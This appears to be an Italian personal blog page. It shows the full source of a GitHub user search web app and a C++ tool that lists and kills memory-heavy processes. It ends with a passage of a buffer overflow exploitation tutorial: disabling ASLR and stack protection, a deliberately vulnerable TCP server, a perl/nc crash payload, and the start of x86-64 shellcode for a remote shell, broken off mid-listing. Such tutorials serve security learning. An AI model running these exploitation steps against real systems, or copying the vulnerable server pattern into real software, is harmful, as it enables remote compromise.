              activity.followers.container.appendChild(activity.followers.count);
            
              activity.following.count.innerText = data.following;
              activity.following.container.appendChild(activity.following.count);
            
              // Social
              const { city, twitter, website, company } = social;
            
              city.info.innerText = data.location || "Not Available";
              city.info.style.opacity = data.location ? 1 : 0.5;
              city.svg.style.opacity = data.location ? 1 : 0.5;
              city.container.appendChild(city.info);
            
              twitter.account.innerText = data.twitter_username || "Not Available";
              twitter.account.style.opacity = data.twitter_username ? 1 : 0.5;
              twitter.svg.style.opacity = data.twitter_username ? 1 : 0.5;
              twitter.account.href = data.twitter_username ? `https://twitter.com/${data.twitter_username}` : "#";
              twitter.account.target = "_blank";
              twitter.container.appendChild(twitter.account);
            
              website.link.innerText = data.blog ? data.blog.split("/")[2].split(".app")[0] : "Not Available";
              website.link.style.opacity = data.blog ? 1 : 0.5;
              website.svg.style.opacity = data.blog ? 1 : 0.5;
              website.link.href = data.blog || "#";
              website.link.target = "_blank";
              website.container.appendChild(website.link);
            
              company.name.innerText = data.company || "Not Available";
              company.name.style.opacity = data.company ? 1 : 0.5;
              company.svg.style.opacity = data.company ? 1 : 0.5;
              company.name.href = data.company ? `https://github.com/${data.company.split("@")[1]}` : "#";
              company.name.target = "_blank";
              company.container.appendChild(company.name);
            }
            
            window.onload = () => fetchUser("samueleex");
            
            const searchBtn = document.querySelector("button");
            const input = document.getElementById("textInput");
            
            searchBtn.addEventListener("click", () => fetchUser(input.value));
            
            input.addEventListener("keypress", (e) => {
              if (e.key === "Enter") {
                fetchUser(input.value);
              }
            });

            / scss:
            _main.scss:

            @import url("https://fonts.googleapis.com/css2?family=Space+Mono:ital,wght@0,400;0,700;1,400;1,700&display=swap");
            
            :root {
              --font: "Space Mono", monospace;
            
              --background: rgb(246, 248, 255);
              --component-background: rgb(254, 254, 254);
            
              --title: rgb(43, 52, 66);
              --text: rgb(75, 106, 155);
              --third: rgb(105, 124, 154);
            
              --white: rgb(255, 255, 255);
            
              --shadow: 0 4px 4px rgba(0, 0, 0, 25%);
              --bigShadow: 0 16px 30px -10px rgba(70, 96, 187, 20%);
              --colorMode: rgb(43, 52, 66);
            
              //Unchanged Colors
              --secondary: rgb(0, 121, 255);
              --btn-hover: rgb(96, 171, 255);
              --error: rgb(247, 70, 70);
            }
            
            .darkMode {
              --background: rgb(20, 29, 47);
              --component-background: rgb(30, 42, 71);
            
              --title: rgb(255, 255, 255);
              --text: rgb(255, 255, 255);
              --third: rgb(255, 255, 255);
            
              --shadow: "none";
              --bigShadow: "none";
              --colorMode: rgb(144, 164, 212);
            }
            
            *,
            ::before,
            ::after {
              margin: 0;
              padding: 0;
              box-sizing: border-box;
            }
            
            body {
              @include flex(center);
              flex-direction: column;
              min-height: 100vh;
              margin: auto 20%;
              font-family: var(--font);
              background-color: var(--background);
            }
            
            h1 {
              @include fontStyle(var(--title), bold, 26px, 38px);
            }
            
            h2 {
              @include fontStyle(var(--secondary), normal, 16px, 24px);
            }
            
            h3 {
              @include fontStyle(var(--text), normal, 13px, 20px);
            }
            
            h4 {
              @include fontStyle(var(--title), bold, 22px, 33px);
            }
            
            p {
              @include fontStyle(none, normal, 15px, 25px);
            }
            
            a {
              @include fontStyle(var(--text), normal, 15px, 25px);
            }
            
            @media all and (max-width: 1200px) {
              body {
                margin: 20px 10%;
              }
            }
            
            @media all and (max-width: 625px) {
              body {
                margin: 30px 24px;
              }
            
              h1 {
                @include fontStyle(var(--title), bold, 16px, 28px);
              }
            
              h2 {
                @include fontStyle(var(--secondary), normal, 13px, 15px);
              }
            
              h3 {
                @include fontStyle(var(--text), normal, 11px, 18px);
              }
            
              h4 {
                @include fontStyle(var(--title), bold, 16px, 27px);
              }
            
              p {
                @include fontStyle(none, normal, 13px, 23px);
              }
            
              a {
                @include fontStyle(var(--text), normal, 13px, 23px);
              }
            }

            _mixins.scss:

            @mixin fontStyle($color, $weight, $size, $height) {
              color: $color;
              font-weight: $weight;
              font-size: $size;
              line-height: $height;
            }
            
            @mixin flex($justify) {
              display: flex;
              justify-content: $justify;
              align-items: center;
            }

            style.scss:

            @import "./_mixins";
            @import "./_main";
            
            //Header
            
            header {
              @include flex(space-between);
              width: 100%;
              height: 38px;
            }
            
            header h1 {
              cursor: pointer;
            }
            
            .colorMode {
              @include flex(center);
              gap: 16px;
              cursor: pointer;
              padding: 2px;
              transition: 0.2s;
            }
            
            .colorMode p {
              color: var(--third);
              font-size: 13px;
              font-weight: bold;
              text-transform: uppercase;
              letter-spacing: 2.5px;
            }
            
            .colorMode:hover p,
            .colorMode:hover path {
              color: var(--colorMode);
              fill: var(--colorMode);
            }
            
            //Search Bar
            
            .searchBar {
              background-color: var(--component-background);
              border-radius: 15px;
              width: 100%;
              height: 69px;
              display: grid;
              grid-template-columns: 34px 1fr 106px;
              margin: 30px 0;
              padding: 9.5px 10px 9.5px 32px;
              box-shadow: var(--shadow);
            }
            
            .searchBar img {
              width: 24px;
              height: 24px;
              margin-top: 14px;
            }
            
            #textInput {
              font-family: var(--font);
              color: var(--title);
              caret-color: var(--secondary);
              background-color: var(--component-background);
              font-size: 18px;
              border: none;
              width: 100%;
              height: 50px;
            }
            
            #textInput:focus {
              outline: none;
            }
            
            input:-webkit-autofill,
            input:-webkit-autofill:hover,
            input:-webkit-autofill:focus,
            input:-webkit-autofill:active {
              -webkit-background-clip: text;
              -webkit-text-fill-color: var(--title);
              box-shadow: inset 0 0 20px 20px var(--component-background);
            }
            
            #textInput::placeholder {
              font-family: var(--font);
              color: var(--text);
              font-size: 18px;
              letter-spacing: -1px;
            }
            
            .searchBar .error {
              display: none;
              color: var(--error);
              font-size: 15px;
              font-weight: bold;
              margin-top: 13px;
            }
            
            .searchBar button {
              color: var(--white);
              background-color: var(--secondary);
              font-size: 16px;
              font-weight: bold;
              width: 100%;
              height: 50px;
              border-radius: 10px;
              border: none;
              cursor: pointer;
              box-shadow: var(--shadow);
              transition: 0.2s;
            }
            
            .searchBar button:hover {
              background-color: var(--btn-hover);
            }
            
            .searchBar button:active {
              transform: scale(0.95);
            }
            
            //Search result
            
            #result {
              background-color: var(--component-background);
              border-radius: 15px;
              box-shadow: var(--bigShadow);
              padding: 48px 38px 48px 58px;
              width: 100%;
            }
            
            // Top part
            
            .result__top {
              display: grid;
              grid-template-columns: 154px 280px 1fr;
              grid-template-rows: 64px 53px;
            }
            
            #result img {
              width: 117px;
              height: 117px;
              clip-path: circle();
            }
            
            .middle h2 {
              margin-top: 2px;
            }
            
            .bio {
              color: var(--text);
              grid-column: 2/4;
              margin-top: 20px;
            }
            
            .right {
              color: var(--third);
              grid-row: 1;
              grid-column: 3;
              margin-top: 8px;
              text-align: end;
            }
            
            // Bottom part
            
            .result__bottom {
              display: grid;
              grid-template-rows: 85px 1fr;
              margin-top: 32px;
              margin-left: 154px;
            }
            
            .activity {
              background-color: var(--background);
              border-radius: 10px;
              @include flex(none);
              padding: 0 32px;
            }
            
            .activity__data {
              margin-right: 25%;
            }
            
            .social {
              display: grid;
              grid-template-columns: repeat(2, 1fr);
              gap: 19px;
              margin-top: 37px;
              color: var(--text);
            }
            
            .social__link {
              display: flex;
              align-items: center;
              gap: 15px;
              margin-right: 20px;
            }
            
            .social__link a {
              text-decoration: none;
              cursor: pointer;
            }
            
            .social__link a:hover {
              text-decoration: underline;
            }
            
            @media all and (max-width: 1200px) {
              //Search Bar
            
              .searchBar {
                grid-template-columns: 34px 1fr 106px;
              }
            
              //Search result
            
              #result {
                padding: 40px;
              }
            
              // Top part
            
              .result__top {
                grid-template-columns: 154px 1fr;
                grid-template-rows: 77px 40px 1fr;
              }
            
              .middle {
                margin-top: 12px;
              }
            
              .middle h2 {
                margin-top: 0;
              }
            
              .bio {
                grid-column: 1/3;
                margin-top: 24px;
              }
            
              .right {
                grid-row: 2;
                grid-column: 2;
                margin-top: 4px;
                text-align: start;
              }
            
              // Bottom part
            
              .result__bottom {
                margin-left: 0;
              }
            
              .social {
                margin-top: 30px;
              }
            
              .social__link {
                margin-right: 0;
              }
            }
            
            @media all and (max-width: 625px) {
              //Header
              header h1 {
                font-size: 26px;
              }
            
              //Search Bar
            
              .searchBar {
                grid-template-columns: 30px 1fr 84px;
                height: 60px;
                padding: 6.5px 7px 7.5px 16px;
              }
            
              .searchBar img {
                width: 20px;
                height: 20px;
              }
            
              #textInput {
                font-size: 13px;
                height: 46px;
              }
            
              #textInput::placeholder {
                font-size: 13px;
              }
            
              .searchBar button {
                font-size: 14px;
                height: 46px;
              }
            
              //Search result
            
              #result {
                padding: 32px 24px;
              }
            
              // Top part
            
              .result__top {
                grid-template-columns: 89px 1fr;
                grid-template-rows: 44px 26px 1fr;
              }
            
              #result img {
                width: 70px;
                height: 70px;
              }
            
              .middle {
                margin-top: 0;
              }
            
              // Bottom part
            
              .result__bottom {
                margin-top: 23px;
              }
            
              .activity {
                @include flex(space-between);
                padding: 0 15px;
                text-align: center;
              }
            
              .activity__data {
                margin-right: 0;
              }
            
              .social {
                grid-template-columns: repeat(1, 1fr);
                gap: 16px;
                margin-top: 24px;
              }
            }

            / styles:
            style.css:

            @import url("https://fonts.googleapis.com/css2?family=Space+Mono:ital,wght@0,400;0,700;1,400;1,700&display=swap");
            
            :root {
              --font: "Space Mono", monospace;
              --background: rgb(246, 248, 255);
              --component-background: rgb(254, 254, 254);
              --title: rgb(43, 52, 66);
              --text: rgb(75, 106, 155);
              --third: rgb(105, 124, 154);
              --white: rgb(255, 255, 255);
              --shadow: 0 4px 4px rgba(0, 0, 0, 0.25);
              --bigShadow: 0 16px 30px -10px rgba(70, 96, 187, 0.2);
              --colorMode: rgb(43, 52, 66);
              --secondary: rgb(0, 121, 255);
              --btn-hover: rgb(96, 171, 255);
              --error: rgb(247, 70, 70);
            }
            
            .darkMode {
              --background: rgb(20, 29, 47);
              --component-background: rgb(30, 42, 71);
              --title: rgb(255, 255, 255);
              --text: rgb(255, 255, 255);
              --third: rgb(255, 255, 255);
              --shadow: none;
              --bigShadow: none;
              --colorMode: rgb(144, 164, 212);
            }
            
            *,
            ::before,
            ::after {
              margin: 0;
              padding: 0;
              box-sizing: border-box;
            }
            
            body {
              display: flex;
              justify-content: center;
              align-items: center;
              flex-direction: column;
              min-height: 100vh;
              margin: auto 20%;
              font-family: var(--font);
              background-color: var(--background);
            }
            
            h1 {
              color: var(--title);
              font-weight: bold;
              font-size: 26px;
              line-height: 38px;
            }
            
            h2 {
              color: var(--secondary);
              font-weight: normal;
              font-size: 16px;
              line-height: 24px;
            }
            
            h3 {
              color: var(--text);
              font-weight: normal;
              font-size: 13px;
              line-height: 20px;
            }
            
            h4 {
              color: var(--title);
              font-weight: bold;
              font-size: 22px;
              line-height: 33px;
            }
            
            p {
              color: var(--text);
              font-weight: normal;
              font-size: 15px;
              line-height: 25px;
            }
            
            a {
              color: var(--text);
              font-weight: normal;
              font-size: 15px;
              line-height: 25px;
              text-decoration: none;
            }
            
            a:hover {
              text-decoration: underline;
            }
            
            @media all and (max-width: 1200px) {
              body {
                margin: 20px 10%;
              }
            }
            
            @media all and (max-width: 625px) {
              body {
                margin: 30px 24px;
              }
            
              h1 {
                font-size: 16px;
                line-height: 28px;
              }
            
              h2 {
                font-size: 13px;
                line-height: 15px;
              }
            
              h3 {
                font-size: 11px;
                line-height: 18px;
              }
            
              h4 {
                font-size: 16px;
                line-height: 27px;
              }
            
              p {
                font-size: 13px;
                line-height: 23px;
              }
            
              a {
                font-size: 13px;
                line-height: 23px;
              }
            }
            
            header {
              display: flex;
              justify-content: space-between;
              align-items: center;
              width: 100%;
              height: 38px;
            }
            
            header h1 {
              cursor: pointer;
            }
            
            .colorMode {
              display: flex;
              justify-content: center;
              align-items: center;
              gap: 16px;
              cursor: pointer;
              padding: 2px;
              transition: 0.2s;
            }
            
            .colorMode p {
              color: var(--third);
              font-size: 13px;
              font-weight: bold;
              text-transform: uppercase;
              letter-spacing: 2.5px;
            }
            
            .colorMode:hover p,
            .colorMode:hover path {
              color: var(--colorMode);
              fill: var(--colorMode);
            }
            
            .searchBar {
              background-color: var(--component-background);
              border-radius: 15px;
              width: 100%;
              height: 69px;
              display: grid;
              grid-template-columns: 34px 1fr 106px;
              margin: 30px 0;
              padding: 9.5px 10px 9.5px 32px;
              box-shadow: var(--shadow);
            }
            
            .searchBar img {
              width: 24px;
              height: 24px;
              margin-top: 14px;
            }
            
            #textInput {
              font-family: var(--font);
              color: var(--title);
              caret-color: var(--secondary);
              background-color: var(--component-background);
              font-size: 18px;
              border: none;
              width: 100%;
              height: 50px;
            }
            
            #textInput:focus {
              outline: none;
            }
            
            #textInput::placeholder {
              font-family: var(--font);
              color: var(--text);
              font-size: 18px;
              letter-spacing: -1px;
            }
            
            .searchBar .error {
              display: none;
              color: var(--error);
              font-size: 15px;
              font-weight: bold;
              margin-top: 13px;
            }
            
            .searchBar button {
              color: var(--white);
              background-color: var(--secondary);
              font-size: 16px;
              font-weight: bold;
              width: 100%;
              height: 50px;
              border-radius: 10px;
              border: none;
              cursor: pointer;
              box-shadow: var(--shadow);
              transition: 0.2s;
            }
            
            .searchBar button:hover {
              background-color: var(--btn-hover);
            }
            
            .searchBar button:active {
              scale: 0.95;
            }
            
            #result {
              background-color: var(--component-background);
              border-radius: 15px;
              box-shadow: var(--bigShadow);
              padding: 48px 38px 48px 58px;
              width: 100%;
            }
            
            .result__top {
              display: grid;
              grid-template-columns: 154px 280px 1fr;
              grid-template-rows: 64px 53px;
            }
            
            #result img {
              width: 117px;
              height: 117px;
              clip-path: circle();
            }
            
            .middle h2 {
              margin-top: 2px;
            }
            
            .bio {
              color: var(--text);
              grid-column: 2/4;
              margin-top: 20px;
            }
            
            .right {
              color: var(--third);
              grid-row: 1;
              grid-column: 3;
              margin-top: 8px;
              text-align: end;
            }
            
            .result__bottom {
              display: grid;
              grid-template-rows: 85px 1fr;
              margin-top: 32px;
              margin-left: 154px;
            }
            
            .activity {
              background-color: var(--background);
              border-radius: 10px;
              display: flex;
              justify-content: none;
              align-items: center;
              padding: 0 32px;
            }
            
            .activity__data {
              margin-right: 25%;
            }
            
            .social {
              display: grid;
              grid-template-columns: repeat(2, 1fr);
              gap: 19px;
              margin-top: 37px;
              color: var(--text);
            }
            
            .social__link {
              display: flex;
              align-items: center;
              gap: 15px;
              margin-right: 20px;
            }
            
            .social__link a {
              text-decoration: none;
              cursor: pointer;
            }
            
            @media all and (max-width: 1200px) {
              .searchBar {
                grid-template-columns: 34px 1fr 106px;
              }
            
              #result {
                padding: 40px;
              }
            
              .result__top {
                grid-template-columns: 154px 1fr;
                grid-template-rows: 77px 40px 1fr;
              }
            
              .middle {
                margin-top: 12px;
              }
            
              .middle h2 {
                margin-top: 0;
              }
            
              .bio {
                grid-column: 1/3;
                margin-top: 24px;
              }
            
              .right {
                grid-row: 2;
                grid-column: 2;
                margin-top: 4px;
                text-align: start;
              }
            
              .result__bottom {
                margin-left: 0;
              }
            
              .social {
                margin-top: 30px;
              }
            
              .social__link {
                margin-right: 0;
              }
            }
            
            @media all and (max-width: 625px) {
              header h1 {
                font-size: 26px;
              }
            
              .searchBar {
                grid-template-columns: 30px 1fr 84px;
                height: 60px;
                padding: 6.5px 7px 7.5px 16px;
              }
            
              .searchBar img {
                width: 20px;
                height: 20px;
              }
            
              #textInput {
                font-size: 13px;
                height: 46px;
              }
            
              #textInput::placeholder {
                font-size: 13px;
              }
            
              .searchBar button {
                font-size: 14px;
                height: 46px;
              }
            
              #result {
                padding: 32px 24px;
              }
            
              .result__top {
                grid-template-columns: 89px 1fr;
                grid-template-rows: 44px 26px 1fr;
              }
            
              #result img {
                width: 70px;
                height: 70px;
              }
            
              .middle {
                margin-top: 0;
              }
            
              .result__bottom {
                margin-top: 23px;
              }
            
              .activity {
                display: flex;
                justify-content: space-between;
                align-items: center;
                padding: 0 15px;
                text-align: center;
              }
            
              .activity__data {
                margin-right: 0;
              }
            
              .social {
                grid-template-columns: repeat(1, 1fr);
                gap: 16px;
                margin-top: 24px;
              }
            }

            style.css.map:

            vedi GitHub

            index.html:

            <!DOCTYPE html>
            <html lang="en">
            <head>
              <meta charset="UTF-8" />
              <meta name="viewport" content="width=device-width, initial-scale=1.0" />
              <meta name="description" content="GitHub user search app - Search for GitHub users easily with devfinder." />
              <meta name="keywords" content="GitHub, user search, devfinder, search app, GitHub users" />
              <link rel="icon" type="image/png" sizes="32x32" href="./assets/images/favicon-32x32.png" />
              <link href="assets/styles/style.css" rel="stylesheet" />
              <script src="assets/js/script.js" type="module"></script>
              <script src="assets/js/darkMode.js" defer></script>
              <title>GitHub tool</title>
            </head>
            <body>
              <header>
                <h1>GitHub tool, cerca un nickname!</h1>
                <div class="colorMode">
                  <p>Dark</p>
                  <svg width="20" height="20" xmlns="http://www.w3.org/2000/svg">
                    <path d="M19.513 11.397a.701.701 0 00-.588.128 7.496 7.496 0 01-2.276 1.336 7.101 7.101 0 01-2.583.462 7.505 7.505 0 01-5.32-2.209 7.568 7.568 0 01-2.199-5.342c0-.873.154-1.72.41-2.49a6.904 6.904 0 011.227-2.21.657.657 0 00-.102-.924.701.701 0 00-.589-.128C5.32.61 3.427 1.92 2.072 3.666A10.158 10.158 0 000 9.83c0 2.8 1.125 5.342 2.967 7.19a10.025 10.025 0 007.16 2.98c2.353 0 4.527-.822 6.266-2.183a10.13 10.13 0 003.58-5.624.623.623 0 00-.46-.796z" fill="var(--third)" fill-rule="nonzero" />
                  </svg>
                </div>
              </header>
              <main>
                <div class="searchBar">
                  <img src="assets/images/icon-search.svg" alt="Search icon" />
                  <label for="textInput">
                    <input type="text" id="textInput" name="textInput" maxlength="25" placeholder="Cerca il nickname..." />
                  </label>
                  <button>Cerca</button>
                  <p class="error">No results</p>
                </div>
                <section id="result">
                  <div class="result__top">
                    <div class="left"></div>
                    <div class="middle"></div>
                    <div class="bio"></div>
                    <div class="right"></div>
                  </div>
                  <div class="result__bottom">
                    <div class="activity">
                      <div class="activity__data">
                        <h3>Repos</h3>
                      </div>
                      <div class="activity__data">
                        <h3>Followers</h3>
                      </div>
                      <div class="activity__data">
                        <h3>Following</h3>
                      </div>
                    </div>
                    <div class="social">
                      <div class="social__link">
                        <svg height="20" width="20" xmlns="http://www.w3.org/2000/svg">
                          <path d="M12.797 3.425C11.584 1.33 9.427.05 7.03.002a7.483 7.483 0 00-.308 0C4.325.05 2.17 1.33.955 3.425a6.963 6.963 0 00-.09 6.88l4.959 9.077.007.012c.218.38.609.606 1.045.606.437 0 .828-.226 1.046-.606l.007-.012 4.96-9.077a6.963 6.963 0 00-.092-6.88zm-5.92 5.638c-1.552 0-2.813-1.262-2.813-2.813s1.261-2.812 2.812-2.812S9.69 4.699 9.69 6.25 8.427 9.063 6.876 9.063z" fill="#4b6a9b" />
                        </svg>
                      </div>
                      <div class="social__link">
                        <svg height="18" width="20" xmlns="http://www.w3.org/2000/svg">
                          <path d="M20 2.799a8.549 8.549 0 01-2.363.647 4.077 4.077 0 001.804-2.266 8.194 8.194 0 01-2.6.993A4.099 4.099 0 009.75 4.977c0 .324.027.637.095.934-3.409-.166-6.425-1.8-8.452-4.288a4.128 4.128 0 00-.56 2.072c0 1.42.73 2.679 1.82 3.408A4.05 4.05 0 01.8 6.598v.045a4.119 4.119 0 003.285 4.028 4.092 4.092 0 01-1.075.135c-.263 0-.528-.015-.776-.07.531 1.624 2.038 2.818 3.831 2.857A8.239 8.239 0 01.981 15.34 7.68 7.68 0 010 15.285a11.543 11.543 0 006.29 1.84c7.545 0 11.67-6.25 11.67-11.667 0-.182-.006-.357-.015-.53A8.18 8.18 0 0020 2.798z" fill="#4b6a9b" />
                        </svg>
                      </div>
                      <div class="social__link">
                        <svg height="20" width="20" xmlns="http://www.w3.org/2000/svg">
                          <g fill="#4b6a9b">
                            <path d="M7.404 5.012c-2.355 2.437-1.841 6.482.857 8.273.089.06.207.048.283-.027.568-.555 1.049-1.093 1.47-1.776a.213.213 0 00-.084-.3A2.743 2.743 0 018.878 10.1a2.64 2.64 0 01-.223-1.803c.168-.815 1.043-1.573 1.711-2.274l-.004-.002 2.504-2.555a2.568 2.568 0 013.648-.019 2.6 2.6 0 01.037 3.666l-1.517 1.56a.266.266 0 00-.06.273c.35 1.012.435 2.44.201 3.519-.006.03.031.05.053.028l3.228-3.295c2.062-2.105 2.044-5.531-.04-7.615a5.416 5.416 0 00-7.691.04L7.417 4.998l-.013.014z" />
                            <path d="M13.439 13.75a.401.401 0 00.006-.003c.659-1.204.788-2.586.48-3.933l-.002.002-.001-.001a5.434 5.434 0 00-2.19-3.124.3.3 0 00-.333.015c-.553.448-1.095 1.021-1.452 1.754a.243.243 0 00.096.317c.415.24.79.593 1.04 1.061h.001c.196.33.388.958.263 1.632-.116.894-1.019 1.714-1.736 2.453-.546.559-1.935 1.974-2.49 2.542a2.6 2.6 0 01-3.666.037 2.6 2.6 0 01-.038-3.666l1.521-1.564A.266.266 0 005 11.004c-.338-1.036-.43-2.432-.217-3.51.006-.03-.031-.049-.053-.027l-3.179 3.245c-2.083 2.126-2.066 5.588.04 7.693 2.125 2.083 5.57 2.048 7.653-.078.723-.81 3.821-3.678 4.195-4.577z" />
                          </g>
                        </svg>
                      </div>
                      <div class="social__link">
                        <svg height="20" width="20" xmlns="http://www.w3.org/2000/svg">
                          <g fill="#4b6a9b">
                            <path d="M10.858 1.558L1.7.167A1.477 1.477 0 00.517.492 1.49 1.49 0 000 1.608v17.559c0 .458.375.833.833.833h2.709v-4.375c0-.808.65-1.458 1.458-1.458h2.083c.809 0 1.459.65 1.459 1.458V20h3.541V3a1.46 1.46 0 00-1.225-1.442zM4.583 12.292h-1.25a.625.625 0 010-1.25h1.25a.625.625 0 010 1.25zm0-2.5h-1.25a.625.625 0 010-1.25h1.25a.625.625 0 010 1.25zm0-2.5h-1.25a.625.625 0 010-1.25h1.25a.625.625 0 010 1.25zm0-2.5h-1.25a.625.625 0 010-1.25h1.25a.625.625 0 010 1.25zm4.167 7.5H7.5a.625.625 0 010-1.25h1.25a.625.625 0 010 1.25zm0-2.5H7.5a.625.625 0 010-1.25h1.25a.625.625 0 010 1.25zm0-2.5H7.5a.625.625 0 010-1.25h1.25a.625.625 0 010 1.25zm0-2.5H7.5a.625.625 0 010-1.25h1.25a.625.625 0 010 1.25zM18.85 9.035l-5.933-1.242V20h5.625A1.46 1.46 0 0020 18.542V10.46c0-.688-.47-1.274-1.15-1.425zM16.875 17.5h-1.25a.625.625 0 010-1.25h1.25a.625.625 0 010 1.25zm0-2.5h-1.25a.625.625 0 010-1.25h1.25a.625.625 0 010 1.25zm0-2.5h-1.25a.625.625 0 010-1.25h1.25a.625.625 0 010 1.25z" />
                          </g>
                        </svg>
                      </div>
                    </div>
                  </div>
                </section>
              </main>
            </body>
            </html>
          • Process killer! Un programma in C++ che restituisce i 5 processi che stanno consumando più memoria sul sistema permettendo all'utente di killarli scegliendoli dalla lista.
            Vediamo le funzioni principali del programma, executeCommand(const string& command): prende come input un comando da eseguire nel terminale e restituisce l'output di quel comando. Con popen si apre una pipe sul comando e legge l'output linea per linea fino a concluderlo.
            getTopProcesses(int n): prende un intero n (come input) e restituisce dentro un vettore n che corrispondono ai processi. Con ps i processi verranno elencati in base alla memoria consumata. ps -eo pid,%mem,comm --sort=-%mem | head -n <n+1> | tail -n <n>
            displayProcessInfo(const vector<string>& processes): prende come input il vettore e lo restituisce, se il vettore è vuoto viene visualizzato l'opportuno messaggio.
            killProcess(const string& pid): prende come input l'ID del processo da terminare (PID) come stringa e lancia il comando kill -9 per terminarlo. Sfrutta la funzione system() (di sistema) per eseguirlo nella shell.
            Riassumendo nel main(): si usa getTopProcesses(5) per ottenere i primi 5 processi che consumano più memoria, displayProcessInfo() per restituirli, si chiede all'utente di selezionare un processo da terminare e con killProcess() si termina il processo.
            Oltre all'utilità credo sia un esercizio utile per migliorare con l'interazione linguaggio - sistema operativo tramite comandi shell per ottenere info su processi. Importante la modularità per mantenere i passaggi ben organizzati.

            Installazione:

            $ git clone https://github.com/Samueleex/processkiller
            $ cd processkiller
            Ora compiliamo il file.
            $ g++ -o process process.cpp
            $ ./process

            Codice:

            #include <iostream>
            #include <fstream>
            #include <string>
            #include <sstream>
            #include <algorithm>
            #include <vector>
            #include <unistd.h>
            #include <sys/types.h>
            #include <sys/wait.h>
            #include <cstdio>
            using namespace std;
            
            string executeCommand(const string& command) {
                string output;
                FILE* pipe = popen(command.c_str(), "r");
                if (!pipe) {
                    cerr << "errore" << endl;
                    return output;
                }
                char buffer[128];
                while (fgets(buffer, sizeof(buffer), pipe) != nullptr) {
                    output += buffer;
                }
                pclose(pipe);
                return output;
            }
            
            vector<string> getTopProcesses(int n) {
                string command = "ps -eo pid,%mem,comm --sort=-%mem | head -n "+to_string(n+1)+" | tail -n " + to_string(n);
                string output = executeCommand(command);
                istringstream iss(output);
                vector<string> topProcesses;
                string line;
                getline(iss,line);
                while (getline(iss,line)) {
                    topProcesses.push_back(line);
                }
                return topProcesses;
            }
            
            void displayProcessInfo(const vector<string>& processes) {
                if (processes.empty()) {
                    cout << "No processes found." <<endl;
                    return;
                }
            
                cout << "Top 5 memory-consuming processes:" <<endl;
                for (size_t i=0; i<processes.size(); ++i) {
                    cout << i+1 <<". "<< processes[i] <<endl;
                }
            }
            
            void killProcess(const string& pid) {
                string killCommand = "kill -9 " + pid;
                system(killCommand.c_str());
            }
            
            int main() {
                vector<string> topProcesses = getTopProcesses(5);
                displayProcessInfo(topProcesses);
            
                cout << "Numero del processo da killare (0 per uscire): ";
                int choice;
                cin >> choice;
                if (choice>0 && choice<=static_cast<int>(topProcesses.size())) {
                    stringstream ss(topProcesses[choice - 1]);
                    string pid;
                    ss >> pid;
                    killProcess(pid);
                    cout << "Processo killato." <<endl;
                } else {
                    cout << "Nessun processo killato." <<endl;
                }
            
                return 0;
            }

            GITHUB REPO HERE!!!

          • Vediamo come ottenere l'accesso ad una macchina (vulnerabile e remota) tramite shell.

            Iniziamo a preparare l'ambiente, per questo test andremo a disabilitare diverse funzionalità. Una volta preparato lo shellcode proveremo ad attivare le protezioni e sfruttare nuovamente il programma.
            Disabilitiamo l'Address space layout randomization" in poche parole un sistema utilizzato per rendere più difficile per un potenziale attaccante sfruttare vulnerabilità. ASLR modifica casualmente la disposizione della memoria di un processo in caricamento in modo che le diverse regioni della memoria (stack, heap, varie librerie ecc) siano sempre in posizione diverse, questo permette di ridurre gli attacchi in buffer overflow.

            Per disattivarlo:
            echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

            A questo punto riavvia il sistema.

            Disabilita anche le altre funzioni di sicurezza:
            -fno-stack-protector -z execstack

            Ora iniziamo a scrivere il codice per un server TCP in C con un evidente buffer flow, ascolta su una porta specifica (9000 nel nostro caso) e accetta connessioni in arrivo dai client. Una volta connessi riceve dati inviati dal client e li memorizza in un buffer che invia una risposta identica al client.
            All'inizio viene creato un socket (s) per la porta 9000 e il server entra nel while per accettare continuamente connessioni in arrivo.
            Quando rileva una connessione il server la accetta e crea un nuovo socket (s1) per comunicare con il client.
            Si leggono i dati inviati dal client (read(s1, reply, 1024) e si memorizzano nel buffer 1024 (char reply[1024].
            Infine si richiama process_request per elaborare i dati e risposte, finito il processo il socket si chiude per aprirne uno nuovo.

            #include <stdio.h>
            #include <string.h>
            
            #include <sys/socket.h>
            #include <netinet/in.h>
            #include <arpa/inet.h>
            
            int process_request(int s1, char *reply) {
                char result[256];
            
                strcpy(result, reply);
                write(s1, result, strlen(result));
                printf("Risultato: %p\n", &result);
                return 0;
            }
            
            int main(int argc, char *argv[]) {
                struct sockaddr_in server, client;
                socklen_t len = sizeof(struct sockaddr_in);
                int s, s1, ops = 1;
                char reply[1024];
            
                server.sin_addr.s_addr = INADDR_ANY;
                server.sin_family = AF_INET;
                server.sin_port = htons(9000);
            
                s = socket(PF_INET, SOCK_STREAM, 0);
                if ((setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &ops, sizeof(ops))) < 0)
                    perror("pb_server (reuseaddr):");
                bind(s, (struct sockaddr *)&server, sizeof(server));
                listen(s, 10);
            
                while (1) {
                    s1 = accept(s, (struct sockaddr *)&client, &len);
                    printf("Connessione da %s\n", inet_ntoa(client.sin_addr));
                    memset(reply, 0, 1024);
                    read(s1, reply, 1024);
                    process_request(s1, reply);
                    close(s1);
                }
                return 0;
            }

            Finito! Ora rendiamolo più semplice da applicare:
            gcc -g -fno-stack-protector -z execstack -o target target.c

            Verifichiamo se è vulnerabile:
            perl -e 'print "A"x1024;' | nc localhost 9000

            Output:

            ./target
            Connection from 127.0.0.1
            Result: 0x7fffffffdbf0
            Segmentation fault (core dumped)

            Ora proviamo a prendere il controllo di un dispositivo da remoto! Per remoto intendo che esiste una rete tra la macchina vulnerabile e aggressore quindi dobbiamo inviare/ricevere dati attraverso qualche socket.
            I metodi più conosciuti sono 2: creare uno shellcode che consente connessioni dall'esterno e alimenta i dati dentro e fuori una shell in modo diretto (come nel caso sopra) o creare uno shellcode che si riconnette a un host dove alcuni server stanno aspettando la connessione dalla vittima (reverse shell). Per Unix esiste anche un altro metodo l'HTTP persistent connection!

            l'HTTP persistent connection o connection reuse in parole semplici è una tecnica dove si cerca di riutilizzare una connessione TCP esistente anziché aprirne una nuova ogni volta che un client si connette al server.
            Con questa tecnica serve neanche aprire socket, andiamo a sfruttare il fatto che il sistema assegna le descrizioni dei file in sequenza quindi basta duplicare una di queste descrizioni, andremo a ricevere un file identico a quello del socket associato alla nostra connessione (in pratica tutte le richieste).
            Per i sistemi 64bit:

            section .text
            global _start
            _start:
                ;; s = Dup (0) - 1
                xor rdi, rdi
                mov al, 0x21    	; DUP (rax=0x21)
                xor rsi, rsi
                syscall    		; DUP (rax=0x21) rdi = 0 (dup (0))
            
                dec rax			; dec rax
